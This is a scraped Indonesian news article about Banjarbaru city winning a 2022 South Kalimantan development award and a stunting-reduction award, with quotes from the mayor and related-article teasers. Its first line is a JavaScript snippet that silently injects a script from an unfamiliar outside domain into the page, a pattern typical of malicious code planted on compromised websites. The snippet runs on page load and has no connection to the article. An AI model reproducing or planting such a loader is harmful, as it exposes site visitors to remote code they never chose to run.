(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Konsistensi berbagai program yang dilaksanakan Pemerintah Kota (Pemko) Banjarbaru dalam beberapa tahun terakhir berbuah sederet prestasi. Terbaru, kota berslogan “JUARA” ini bahkan meraih status kota terbaik di sektor pembangunan.
Penghargaan itu diberikan oleh Pemerintah Provinsi (Pemprov) Kalimantan Selatan saat kegiatan yang diselanggarakan di gedung Idham Chalid Sekdaprov Kalsel, Rabu (13/4/2022).
Adapun Kota Banjarbaru menyabet penghargaan pembangunan daerah Provinsi Kalsel Tahun 2022 dengan nominasi kategori kota terbaik. Perhargaan di bidang pembangunan ini menetapkan bahwa Banjarbaru sebagai kota terbaik dan teladan dalam hal pembangunan, baik itu infrastruktur maupun SDM.
Bukan hanya itu saja, beberapa waktu lalu Banjarbaru juga meraih penghargaan terbaik ke 3 atas penilaian kinerja Kabupaten Kota dalam pelaksanaan KP2S (Konvergensi Percepatan Penurunan Stunting) untuk daerah Non Lukus Nasional.
Baca juga : Salah Kaprah Konsep Healing Anak Milenial, Begini Penjelasan Psikolog
Diraihnya berbagai penghargaan ini diakui Wali Kota Banjarbaru, Aditya Mufti Ariffin, merupakan hasil jerih lelah seluruh SKPD di lingkungan Pemko Banjarbaru. Meskipun di tengah situasi pandemi, ia menegaskan tak akan menyurutkan semangat kerja keras pihaknya.
“Penghargaan ini menjadi suntikan semangat bagi kami. Kita akui situasi pandemi yang berkepanjangan ini memang memberikan dampak yang cukup signifikan. Namun begitu kami berkomitmen untuk terus mendorong sektor pembangunan tetap berjalanan secara bertahap,” katanya.
Pun demikian dengan target menurunkan angka stunting di kota Banjarbaru. Aditya mengatakan pihaknya terus mengupayakan langkah-langkah pencegahan, salah satunya dibuktikan dengan dilakukannya penandatangan komitmen bersama dalam rangka percepatan penurunan stunting beberapa waktu lalu.
“Target pada 2024, angka stunting bisa turun menjadi 14 persen. Mudah-mudahan hal tersebut bisa terwujud. Kita akan menamba fasilitas untuk para penyuluh dan program-program yang dilaksanakan Pemko Banjarbaru, sehingga bisa memberikan dampak penurunan angka stunting,” tuntasnya. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.